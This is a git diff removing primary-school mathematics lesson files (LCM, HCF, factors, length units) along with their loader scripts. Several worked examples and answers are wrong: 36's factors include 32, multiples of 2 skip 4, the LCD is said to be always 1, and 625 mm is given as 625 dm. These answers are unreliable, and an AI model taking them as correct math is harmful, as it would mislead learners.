-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P5/map511m08/map511m8a01/source.txt b/Save_Mathematics/P5/map511m08/map511m8a01/source.txt
deleted file mode 100644
index 215c86f..0000000
--- a/Save_Mathematics/P5/map511m08/map511m8a01/source.txt
+++ /dev/null
@@ -1,129 +0,0 @@
-<p>
- <span style="font-weight: bold;">
-  1.1
-  <span style="text-decoration: underline;">
-   LEAST COMMON MULTIPLE
-  </span>
- </span>
- <span style="text-decoration: underline;">
-  <br />
- </span>
- <br />
- When you take a number multiply counting numbers then you get
- <span style="font-weight: bold;">
- </span>
- the different
- <span style="font-weight: bold;">
-  multiples
- </span>
- .
- <span style="font-weight: bold;">
-  <br />
-  <br />
-  <span style="font-weight: bold;">
-   T
-  </span>
- </span>
- he first common multiple found is called
- <span style="font-weight: bold;">
-  LEAST COMMON MULTIPLE
- </span>
- .
- <br />
- <br />
- <br />
- <span style="font-weight: bold;">
-  EXAMPLE:
- </span>
- Find the multiples of 3and 4
- <br />
- <br />
- M3=3;6;9;12;15;18;21;24...
- <br />
- <br />
- M4=4;8;12;16;20;24;28;32...
- <br />
- <br />
- Common multiples are (12;24...)
- <br />
- <br />
- The least common multiple(LCM) of 3and4 is 12
- <br />
- <br />
- <br />
- <span style="font-weight: bold;">
-  MEANING :Multiple
- </span>
- is the product of a specific number and any other number.When you multiply two numbers,the answer is called the
- <span style="font-weight: bold;">
-  Product
- </span>
- <br />
- <br />
- <br style="font-weight: bold;" />
- <span style="font-weight: bold;">
-  LEAST COMMON MULTIPLE
- </span>
- (LCM) of two or more numbers is the least number other than 0 that is a multiple of each number.
- <br />
- <br />
- <br />
- <span style="font-weight: bold;">
-  RULE
- </span>
- ;Multiples contain a given factor an exact number of times.
- <br />
- <br />
- <br />
- <br />
- 1.2
- <span style="font-weight: bold;">
-  HIGHEST COMMON FACTOR
- </span>
- <br />
- <br />
- <span style="font-weight: bold;">
-  EXAMPLE ;
- </span>
- Find the highest common factor of 36 and 40.
- <br />
- <br />
- F36=1;2;3;4;6;9;12;18;32
- <br />
- <br />
- F40=1;2;4;5;8;10;20;40
- <br />
- <br />
- Common
- <span style="font-weight: bold;">
- </span>
- Factors=1;2;4
- <br />
- <br />
- Highest Common Factor or Highest Common Divisor is 4
- <br />
- <br />
- <br />
- <span style="font-weight: bold;">
-  RULES; a)Least Common Factor or Divisor
- </span>
- can be written as LCF orLCD.
- <br />
- <br />
- <span style="font-weight: bold;">
-  b)Highest Common Factor or Divisor
- </span>
- can be written as HCF or HCD.
- <br />
- <br />
- <span style="font-weight: bold;">
-  c)Greatest Common Factor or Divisor
- </span>
- can be written as GCF or GCD.
- <br />
- <br />
- <span style="font-weight: bold;">
-  d)
- </span>
- The LCD of two or more numbers is always 1
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m08/map511m8a02/a.txt b/Save_Mathematics/P5/map511m08/map511m8a02/a.txt
deleted file mode 100644
index 1ab44b8..0000000
--- a/Save_Mathematics/P5/map511m08/map511m8a02/a.txt
+++ /dev/null
@@ -1,124 +0,0 @@
-<p>
- G1.Find the factors of the following numbers;
- <br />
- <br />
- a)45 and 60
- <br />
- <br />
- b)20 and 30
- <br />
- <br />
- c)24 and 36
- <br />
- <br />
- <br />
- &iexcl;.Find the common factors of above numbers.
- <br />
- <br />
- <br />
- &iexcl;&iexcl;.Find the highest common factors of above numbers
- <br />
- <br />
- <br />
- 2.Find the common multiples of the following numbers:
- <br />
- <br />
- a)2 and 3
- <br />
- b)3 and 4
- <br />
- c)4 and 5
- <br />
- d)2 and 4
- <br />
- <br />
- <br />
- &iexcl;)Find the least common multiples of above numbers.
- <br />
- <br style="font-weight: bold;" />
- <span style="font-weight: bold;">
-  ANSWERS
- </span>
- <br />
- <br />
- 1a)&iexcl;.F45=1;3;5;9;15;45
- <br />
- <br />
- a)&iexcl;&iexcl;.F60=1;2;3;4;5;6;10;15;20;30;60
- <br />
- <br />
- a)&iexcl;&iexcl;&iexcl;.F20=1;2;4;5;10;20
- <br />
- <br />
- a)&iexcl;v.F30=1;2;3;5;6;10;15;30
- <br />
- <br />
- a)v&iexcl;.F24=1;2;3;4;6;8;12;24
- <br />
- <br />
- a)v&iexcl;&iexcl;.F36=1;2;3;4;6;9;12;18;36
- <br />
- <br />
- <br />
- The common Factors:
- <br />
- <br />
- a)&iexcl;.1;3;5;15
- <br />
- <br />
- a)&iexcl;&iexcl;.1;2;5;10
- <br />
- <br />
- a)&iexcl;&iexcl;&iexcl;.1;2;3;4;6;12
- <br />
- <br />
- <br />
- 2.a)HCF=15
- <br />
- <br />
- b)HCF=10
- <br />
- <br />
- c)HCF=12
- <br />
- <br />
- <br />
- 3.a)M2=2;6;8;10;12;14...
- <br />
- M3=3;6;9;12;15;18;...
- <br />
- <br />
- <br />
- b)M4=4;8;12;16;20;24;...
- <br />
- M3=3;6;9;12;15;18;...
- <br />
- <br />
- <br />
- c)M4=4;8;12;16;20;24;...
- <br />
- M5=5;10;15;20;25;30;...
- <br />
- <br />
- <br />
- d)M2=2;6;8;10;14;...
- <br />
- M4=4;8;12;16;20;24;...
- <br />
- <br />
- <br />
- 4.a)LCM=6
- <br />
- <br />
- b)LCM=12
- <br />
- <br />
- C)LCM=20
- <br />
- <br />
- d)LCM=8
- <br />
- <br />
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m08/map511m8a02/description.py b/Save_Mathematics/P5/map511m08/map511m8a02/description.py
deleted file mode 100644
index 1734fa2..0000000
--- a/Save_Mathematics/P5/map511m08/map511m8a02/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map511m8a02',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P5/map511m08/map511m8a02/lesson.js b/Save_Mathematics/P5/map511m08/map511m8a02/lesson.js
deleted file mode 100644
index 24c37c9..0000000
--- a/Save_Mathematics/P5/map511m08/map511m8a02/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map511m08/map511m8a02/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P5/map511m08/map511m8a02/source.txt b/Save_Mathematics/P5/map511m08/map511m8a02/source.txt
deleted file mode 100644
index 1ab44b8..0000000
--- a/Save_Mathematics/P5/map511m08/map511m8a02/source.txt
+++ /dev/null
@@ -1,124 +0,0 @@
-<p>
- G1.Find the factors of the following numbers;
- <br />
- <br />
- a)45 and 60
- <br />
- <br />
- b)20 and 30
- <br />
- <br />
- c)24 and 36
- <br />
- <br />
- <br />
- &iexcl;.Find the common factors of above numbers.
- <br />
- <br />
- <br />
- &iexcl;&iexcl;.Find the highest common factors of above numbers
- <br />
- <br />
- <br />
- 2.Find the common multiples of the following numbers:
- <br />
- <br />
- a)2 and 3
- <br />
- b)3 and 4
- <br />
- c)4 and 5
- <br />
- d)2 and 4
- <br />
- <br />
- <br />
- &iexcl;)Find the least common multiples of above numbers.
- <br />
- <br style="font-weight: bold;" />
- <span style="font-weight: bold;">
-  ANSWERS
- </span>
- <br />
- <br />
- 1a)&iexcl;.F45=1;3;5;9;15;45
- <br />
- <br />
- a)&iexcl;&iexcl;.F60=1;2;3;4;5;6;10;15;20;30;60
- <br />
- <br />
- a)&iexcl;&iexcl;&iexcl;.F20=1;2;4;5;10;20
- <br />
- <br />
- a)&iexcl;v.F30=1;2;3;5;6;10;15;30
- <br />
- <br />
- a)v&iexcl;.F24=1;2;3;4;6;8;12;24
- <br />
- <br />
- a)v&iexcl;&iexcl;.F36=1;2;3;4;6;9;12;18;36
- <br />
- <br />
- <br />
- The common Factors:
- <br />
- <br />
- a)&iexcl;.1;3;5;15
- <br />
- <br />
- a)&iexcl;&iexcl;.1;2;5;10
- <br />
- <br />
- a)&iexcl;&iexcl;&iexcl;.1;2;3;4;6;12
- <br />
- <br />
- <br />
- 2.a)HCF=15
- <br />
- <br />
- b)HCF=10
- <br />
- <br />
- c)HCF=12
- <br />
- <br />
- <br />
- 3.a)M2=2;6;8;10;12;14...
- <br />
- M3=3;6;9;12;15;18;...
- <br />
- <br />
- <br />
- b)M4=4;8;12;16;20;24;...
- <br />
- M3=3;6;9;12;15;18;...
- <br />
- <br />
- <br />
- c)M4=4;8;12;16;20;24;...
- <br />
- M5=5;10;15;20;25;30;...
- <br />
- <br />
- <br />
- d)M2=2;6;8;10;14;...
- <br />
- M4=4;8;12;16;20;24;...
- <br />
- <br />
- <br />
- 4.a)LCM=6
- <br />
- <br />
- b)LCM=12
- <br />
- <br />
- C)LCM=20
- <br />
- <br />
- d)LCM=8
- <br />
- <br />
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m08/map511m8a03/a.txt b/Save_Mathematics/P5/map511m08/map511m8a03/a.txt
deleted file mode 100644
index 569bb98..0000000
--- a/Save_Mathematics/P5/map511m08/map511m8a03/a.txt
+++ /dev/null
@@ -1,74 +0,0 @@
-<p>
- 1.List the divisors of the following numbers;
- <br />
- <br />
- a)88
- <br />
- b)96
- <br />
- c)26
- <br />
- d)36
- <br />
- e)42
- <br />
- f)64
- <br />
- <br />
- <br />
- <br />
- 2.Find the factors of numbers are below;
- <br />
- <br />
- a)152
- <br />
- b)146
- <br />
- C)80
- <br />
- d)128
- <br />
- e)256
- <br />
- f)100
- <br />
- <br />
- <br />
- <br />
- 3.Find the highest common factor of these numbers;
- <br />
- <br />
- a)30;60 and 90
- <br />
- <br />
- b)40 and 50
- <br />
- <br />
- c)64 and 16
- <br />
- <br />
- d)120 and 142
- <br />
- <br />
- e)68 and 92
- <br />
- <br />
- <br />
- <br />
- 4.FInd the least common multiples of the following numbers;
- <br />
- <br />
- a)6 and 8
- <br />
- <br />
- b)5 and 7
- <br />
- <br />
- c)10 and 25
- <br />
- <br />
- d)9 and 12
- <br />
- <br />
- e)20 and 40
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m08/map511m8a03/description.py b/Save_Mathematics/P5/map511m08/map511m8a03/description.py
deleted file mode 100644
index ef9f250..0000000
--- a/Save_Mathematics/P5/map511m08/map511m8a03/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map511m8a03',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P5/map511m08/map511m8a03/lesson.js b/Save_Mathematics/P5/map511m08/map511m8a03/lesson.js
deleted file mode 100644
index 8a27667..0000000
--- a/Save_Mathematics/P5/map511m08/map511m8a03/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map511m08/map511m8a03/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P5/map511m08/map511m8a03/source.txt b/Save_Mathematics/P5/map511m08/map511m8a03/source.txt
deleted file mode 100644
index 569bb98..0000000
--- a/Save_Mathematics/P5/map511m08/map511m8a03/source.txt
+++ /dev/null
@@ -1,74 +0,0 @@
-<p>
- 1.List the divisors of the following numbers;
- <br />
- <br />
- a)88
- <br />
- b)96
- <br />
- c)26
- <br />
- d)36
- <br />
- e)42
- <br />
- f)64
- <br />
- <br />
- <br />
- <br />
- 2.Find the factors of numbers are below;
- <br />
- <br />
- a)152
- <br />
- b)146
- <br />
- C)80
- <br />
- d)128
- <br />
- e)256
- <br />
- f)100
- <br />
- <br />
- <br />
- <br />
- 3.Find the highest common factor of these numbers;
- <br />
- <br />
- a)30;60 and 90
- <br />
- <br />
- b)40 and 50
- <br />
- <br />
- c)64 and 16
- <br />
- <br />
- d)120 and 142
- <br />
- <br />
- e)68 and 92
- <br />
- <br />
- <br />
- <br />
- 4.FInd the least common multiples of the following numbers;
- <br />
- <br />
- a)6 and 8
- <br />
- <br />
- b)5 and 7
- <br />
- <br />
- c)10 and 25
- <br />
- <br />
- d)9 and 12
- <br />
- <br />
- e)20 and 40
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m08/map511m8a04/a.txt b/Save_Mathematics/P5/map511m08/map511m8a04/a.txt
deleted file mode 100644
index 13610f8..0000000
--- a/Save_Mathematics/P5/map511m08/map511m8a04/a.txt
+++ /dev/null
@@ -1,104 +0,0 @@
-<p>
- 1.Find the multiples of the following numbers;
- <br />
- <br />
- a)Multiples of 6 between 20 and 40
- <br />
- <br />
- b)Multiples of 4 less than 30
- <br />
- <br />
- c)Multiples of 15 between 15 and 60
- <br />
- <br />
- d)All multiples of 8 less than 64
- <br />
- <br />
- e)All multiples of 3 for only odd numbers between 6 and 30
- <br />
- <br />
- <br />
- <br />
- 2.Find the lowest common multiples of the following numbers;
- <br />
- <br />
- a)12 and 24
- <br />
- <br />
- b)8 and 14
- <br />
- <br />
- c)20 and 30
- <br />
- <br />
- d)12 and 24
- <br />
- <br />
- e)5 and 15
- <br />
- <br />
- <br />
- <br />
- 3.Find the factors of the following numbers;
- <br />
- <br />
- a)140
- <br />
- <br />
- b)256
- <br />
- <br />
- c)100
- <br />
- <br />
- d)192
- <br />
- <br />
- e)162
- <br />
- <br />
- <br />
- <br />
- 4.Find the common factors of the following numbers;
- <br />
- <br />
- a)50 and 75
- <br />
- <br />
- b)100 and 125
- <br />
- <br />
- c)76 and 84
- <br />
- <br />
- d)33 and 96
- <br />
- <br />
- e)42 and 68
- <br />
- <br />
- f)20 and 40
- <br />
- <br />
- <br />
- <br />
- 5.Calculate the highest common factors of the following numbers;
- <br />
- <br />
- a)36 and 60
- <br />
- <br />
- b)40 and 72
- <br />
- <br />
- c)70 and 96
- <br />
- <br />
- d)80 and 100
- <br />
- <br />
- e)24 and 30
- <br />
- <br />
- f)15 and 45
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m08/map511m8a04/description.py b/Save_Mathematics/P5/map511m08/map511m8a04/description.py
deleted file mode 100644
index 9e5afde..0000000
--- a/Save_Mathematics/P5/map511m08/map511m8a04/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map511m8a04',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P5/map511m08/map511m8a04/lesson.js b/Save_Mathematics/P5/map511m08/map511m8a04/lesson.js
deleted file mode 100644
index e6bd63c..0000000
--- a/Save_Mathematics/P5/map511m08/map511m8a04/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map511m08/map511m8a04/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P5/map511m08/map511m8a04/source.txt b/Save_Mathematics/P5/map511m08/map511m8a04/source.txt
deleted file mode 100644
index 13610f8..0000000
--- a/Save_Mathematics/P5/map511m08/map511m8a04/source.txt
+++ /dev/null
@@ -1,104 +0,0 @@
-<p>
- 1.Find the multiples of the following numbers;
- <br />
- <br />
- a)Multiples of 6 between 20 and 40
- <br />
- <br />
- b)Multiples of 4 less than 30
- <br />
- <br />
- c)Multiples of 15 between 15 and 60
- <br />
- <br />
- d)All multiples of 8 less than 64
- <br />
- <br />
- e)All multiples of 3 for only odd numbers between 6 and 30
- <br />
- <br />
- <br />
- <br />
- 2.Find the lowest common multiples of the following numbers;
- <br />
- <br />
- a)12 and 24
- <br />
- <br />
- b)8 and 14
- <br />
- <br />
- c)20 and 30
- <br />
- <br />
- d)12 and 24
- <br />
- <br />
- e)5 and 15
- <br />
- <br />
- <br />
- <br />
- 3.Find the factors of the following numbers;
- <br />
- <br />
- a)140
- <br />
- <br />
- b)256
- <br />
- <br />
- c)100
- <br />
- <br />
- d)192
- <br />
- <br />
- e)162
- <br />
- <br />
- <br />
- <br />
- 4.Find the common factors of the following numbers;
- <br />
- <br />
- a)50 and 75
- <br />
- <br />
- b)100 and 125
- <br />
- <br />
- c)76 and 84
- <br />
- <br />
- d)33 and 96
- <br />
- <br />
- e)42 and 68
- <br />
- <br />
- f)20 and 40
- <br />
- <br />
- <br />
- <br />
- 5.Calculate the highest common factors of the following numbers;
- <br />
- <br />
- a)36 and 60
- <br />
- <br />
- b)40 and 72
- <br />
- <br />
- c)70 and 96
- <br />
- <br />
- d)80 and 100
- <br />
- <br />
- e)24 and 30
- <br />
- <br />
- f)15 and 45
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m08/map511m8a05/a.txt b/Save_Mathematics/P5/map511m08/map511m8a05/a.txt
deleted file mode 100644
index 88368b4..0000000
--- a/Save_Mathematics/P5/map511m08/map511m8a05/a.txt
+++ /dev/null
@@ -1,49 +0,0 @@
-<p>
- 1.Write the multiples of the following numbers
- <br />
- <br />
- a)12
- <br />
- b)25
- <br />
- c)35
- <br />
- d)14
- <br />
- e)20
- <br />
- <br />
- <br />
- <br />
- 2.Write the factors of the following numbers;
- <br />
- <br />
- a)240
- <br />
- b)340
- <br />
- c)128
- <br />
- d)98
- <br />
- e)46
- <br />
- <br />
- <br />
- 3.Write the common factors of these numbers;
- <br />
- <br />
- a)60 and 84
- <br />
- <br />
- b)124 and 164
- <br />
- <br />
- c)100 and 300
- <br />
- <br />
- d)24 and 48
- <br />
- <br />
- e)70 and 84
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m08/map511m8a05/description.py b/Save_Mathematics/P5/map511m08/map511m8a05/description.py
deleted file mode 100644
index 924d4ae..0000000
--- a/Save_Mathematics/P5/map511m08/map511m8a05/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map511m8a05',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P5/map511m08/map511m8a05/lesson.js b/Save_Mathematics/P5/map511m08/map511m8a05/lesson.js
deleted file mode 100644
index 5209f00..0000000
--- a/Save_Mathematics/P5/map511m08/map511m8a05/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map511m08/map511m8a05/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P5/map511m08/map511m8a05/source.txt b/Save_Mathematics/P5/map511m08/map511m8a05/source.txt
deleted file mode 100644
index 88368b4..0000000
--- a/Save_Mathematics/P5/map511m08/map511m8a05/source.txt
+++ /dev/null
@@ -1,49 +0,0 @@
-<p>
- 1.Write the multiples of the following numbers
- <br />
- <br />
- a)12
- <br />
- b)25
- <br />
- c)35
- <br />
- d)14
- <br />
- e)20
- <br />
- <br />
- <br />
- <br />
- 2.Write the factors of the following numbers;
- <br />
- <br />
- a)240
- <br />
- b)340
- <br />
- c)128
- <br />
- d)98
- <br />
- e)46
- <br />
- <br />
- <br />
- 3.Write the common factors of these numbers;
- <br />
- <br />
- a)60 and 84
- <br />
- <br />
- b)124 and 164
- <br />
- <br />
- c)100 and 300
- <br />
- <br />
- d)24 and 48
- <br />
- <br />
- e)70 and 84
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m08/map511m8a06/a.txt b/Save_Mathematics/P5/map511m08/map511m8a06/a.txt
deleted file mode 100644
index ee01ae4..0000000
--- a/Save_Mathematics/P5/map511m08/map511m8a06/a.txt
+++ /dev/null
@@ -1,47 +0,0 @@
-<p>
- 1.Find the least common multiples of these numbers;
- <br />
- <br />
- a)10 and 12
- <br />
- <br />
- b)24 and 30
- <br />
- <br />
- c)6 and 8
- <br />
- <br />
- d)5 and 7
- <br />
- <br />
- <br />
- <br />
- 2.Find the multiples of the following numbers;
- <br />
- <br />
- a)3
- <br />
- b)4
- <br />
- c)5
- <br />
- d)20
- <br />
- e)14
- <br />
- <br />
- <br />
- <br />
- 3.Write the factors of the following numbers;
- <br />
- <br />
- a)1024
- <br />
- b)962
- <br />
- c)246
- <br />
- d)128
- <br />
- e)36
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m08/map511m8a06/description.py b/Save_Mathematics/P5/map511m08/map511m8a06/description.py
deleted file mode 100644
index 6456b85..0000000
--- a/Save_Mathematics/P5/map511m08/map511m8a06/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map511m8a06',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P5/map511m08/map511m8a06/lesson.js b/Save_Mathematics/P5/map511m08/map511m8a06/lesson.js
deleted file mode 100644
index 3200083..0000000
--- a/Save_Mathematics/P5/map511m08/map511m8a06/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map511m08/map511m8a06/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P5/map511m08/map511m8a06/source.txt b/Save_Mathematics/P5/map511m08/map511m8a06/source.txt
deleted file mode 100644
index ee01ae4..0000000
--- a/Save_Mathematics/P5/map511m08/map511m8a06/source.txt
+++ /dev/null
@@ -1,47 +0,0 @@
-<p>
- 1.Find the least common multiples of these numbers;
- <br />
- <br />
- a)10 and 12
- <br />
- <br />
- b)24 and 30
- <br />
- <br />
- c)6 and 8
- <br />
- <br />
- d)5 and 7
- <br />
- <br />
- <br />
- <br />
- 2.Find the multiples of the following numbers;
- <br />
- <br />
- a)3
- <br />
- b)4
- <br />
- c)5
- <br />
- d)20
- <br />
- e)14
- <br />
- <br />
- <br />
- <br />
- 3.Write the factors of the following numbers;
- <br />
- <br />
- a)1024
- <br />
- b)962
- <br />
- c)246
- <br />
- d)128
- <br />
- e)36
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m09/activities.js b/Save_Mathematics/P5/map511m09/activities.js
deleted file mode 100755
index 0047f7f..0000000
--- a/Save_Mathematics/P5/map511m09/activities.js
+++ /dev/null
@@ -1,10 +0,0 @@
-var activities = [
-['1','1','map5','basic','map511m9a01','blue'],
-['2','2','map5','basic','map511m9a02','blue'],
-['3','3','map5','basic','map511m9a03','blue'],
-['4','4','map5','basic','map511m9a04','blue'],
-['5','5','map5','basic','map511m9a05','blue'],
-['6','6','map5','basic','map511m9a06','blue'],
-];
-var assetList = [];
-var logos = [];
diff --git a/Save_Mathematics/P5/map511m09/map511m9a01/a.txt b/Save_Mathematics/P5/map511m09/map511m9a01/a.txt
deleted file mode 100644
index 70991e0..0000000
--- a/Save_Mathematics/P5/map511m09/map511m9a01/a.txt
+++ /dev/null
@@ -1,97 +0,0 @@
-<p>
- In our daily life, we always use the length measurements when we build houses, schools and institutional of companies. we also need measurements for our clothes wearing and some different games where the competitors made athletics. For example, the students can run different meters in gym.to jump a rope in height.
- <br />
- The students can find the distance are between two schools or district and so on.
- <br />
- Here,we can measure the length of students.
- <br />
- Example: * Our school has 600 meter of lengths.
- <br />
- * Our class has 8 meter of length
- <br />
- * Form Remera to Nyabugogo
- <br />
- <br />
- <span style="text-decoration: underline;">
-  TABLE OF LENGTH MEASUREMENTS
-  <br />
- </span>
- <span style="text-decoration: underline;">
-  <br />
- </span>
- &nbsp;
-</p>
-<table style="width: 274px; height: 64px;" border="1">
- <tbody>
-  <tr>
-   <td width="14%" valign="top">
-    km
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    hm
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    dam
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    m
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    dm
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    cm
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    mm
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="14%" valign="top">
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    2
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    5
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    <br />
-    <br />
-   </td>
-  </tr>
- </tbody>
-</table>
-<p>
- <br />
- Rule: All units of length measurements separate by ten times long distance.
- <br />
- <br />
- example: convert the following units
- <br />
- <br />
- a) 62 m = 620 dm
- <br />
- b) 2 km = 2000 m
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m09/map511m9a01/description.py b/Save_Mathematics/P5/map511m09/map511m9a01/description.py
deleted file mode 100644
index fa00bde..0000000
--- a/Save_Mathematics/P5/map511m09/map511m9a01/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map511m9a01',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P5/map511m09/map511m9a01/lesson.js b/Save_Mathematics/P5/map511m09/map511m9a01/lesson.js
deleted file mode 100644
index 7eb708b..0000000
--- a/Save_Mathematics/P5/map511m09/map511m9a01/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map511m09/map511m9a01/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P5/map511m09/map511m9a01/source.txt b/Save_Mathematics/P5/map511m09/map511m9a01/source.txt
deleted file mode 100644
index 70991e0..0000000
--- a/Save_Mathematics/P5/map511m09/map511m9a01/source.txt
+++ /dev/null
@@ -1,97 +0,0 @@
-<p>
- In our daily life, we always use the length measurements when we build houses, schools and institutional of companies. we also need measurements for our clothes wearing and some different games where the competitors made athletics. For example, the students can run different meters in gym.to jump a rope in height.
- <br />
- The students can find the distance are between two schools or district and so on.
- <br />
- Here,we can measure the length of students.
- <br />
- Example: * Our school has 600 meter of lengths.
- <br />
- * Our class has 8 meter of length
- <br />
- * Form Remera to Nyabugogo
- <br />
- <br />
- <span style="text-decoration: underline;">
-  TABLE OF LENGTH MEASUREMENTS
-  <br />
- </span>
- <span style="text-decoration: underline;">
-  <br />
- </span>
- &nbsp;
-</p>
-<table style="width: 274px; height: 64px;" border="1">
- <tbody>
-  <tr>
-   <td width="14%" valign="top">
-    km
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    hm
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    dam
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    m
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    dm
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    cm
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    mm
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="14%" valign="top">
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    2
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    5
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    <br />
-    <br />
-   </td>
-  </tr>
- </tbody>
-</table>
-<p>
- <br />
- Rule: All units of length measurements separate by ten times long distance.
- <br />
- <br />
- example: convert the following units
- <br />
- <br />
- a) 62 m = 620 dm
- <br />
- b) 2 km = 2000 m
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m09/map511m9a02/a.txt b/Save_Mathematics/P5/map511m09/map511m9a02/a.txt
deleted file mode 100644
index cd7a169..0000000
--- a/Save_Mathematics/P5/map511m09/map511m9a02/a.txt
+++ /dev/null
@@ -1,68 +0,0 @@
-<p>
- a) convert the following units in other units required
- <br />
- <br />
- 1) 15 km =................dam .............dm
- <br />
- 2) 21 m = ................. dm ..............mm
- <br />
- 3) 625 mm = ............dm ..............dam
- <br />
- <br />
- b) calculate the following units
- <br />
- <br />
- 1) 3m + 10m = ............ dm
- <br />
- 2) 15dam + 20m = .............. dm
- <br />
- 3) 100dm + 115m = .............. m
- <br />
- 4) 5dm - 3cm = .............. mm
- <br />
- 5) 28dm - 7dm = ............. dam
- <br />
- 6) 0.5km - 3.5dam = ........... m
- <br />
- 7) 20dam &times; 4 = ................ m
- <br />
- 8) 250m &divide; 5 = ..................dm
- <br />
- <br />
- c) journalist covered 2,650 meters from the 8,740 kilometers journey they had to cover.
- <br />
- calculate the remaining journey in kilometers
- <br />
- <br />
- <span style="text-decoration: underline;">
-  ANSWERS
- </span>
- <br />
- a) 1) 1500 dam = 150,000 dm
- <br />
- 2) 210 dm = 21,000 mm
- <br />
- 3) 625 dm = 0.0625 dam
- <br />
- <br />
